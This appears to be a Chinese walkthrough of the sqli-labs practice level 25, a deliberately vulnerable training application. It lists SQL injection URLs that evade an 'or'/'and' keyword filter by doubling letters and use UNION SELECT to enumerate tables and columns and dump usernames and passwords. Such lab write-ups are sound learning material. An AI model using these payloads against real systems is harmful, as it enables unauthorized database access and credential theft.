Sqlilabs-25

这一关来到了 25 关

Sqlilabs-25

一进入界面就看到大大的你的所有 ‘or’ 和 ‘and’ 都属于我们,这就需要我们绕过了…

Sqlilabs-25

http://sqlilabs/Less-25/?id=1' 报错
http://sqlilabs/Less-25/?id=1'--+ 正常

http://sqlilabs/Less-25/?id=1' ordery by 3--+ 报错
原因是 order 里面含有 or
双写绕过:oorrder

http://sqlilabs/Less-25/?id=1' oorrder by 3--+ 正确

http://sqlilabs/Less-25/?id=-1' union select 1,2,3--+

http://sqlilabs/Less-25/?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),3--+
注意这里:information 含有 or ,需要绕过

http://sqlilabs/Less-25/?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() aandnd table_name='users'),3--+
注意这里:information 含有 or ,需要绕过,and 需要绕过

http://sqlilabs/Less-25/?id=-1' union select 1,(select group_concat(username) from users),3--+
http://sqlilabs/Less-25/?id=-1' union select 1,(select group_concat(password) from users),3--+

????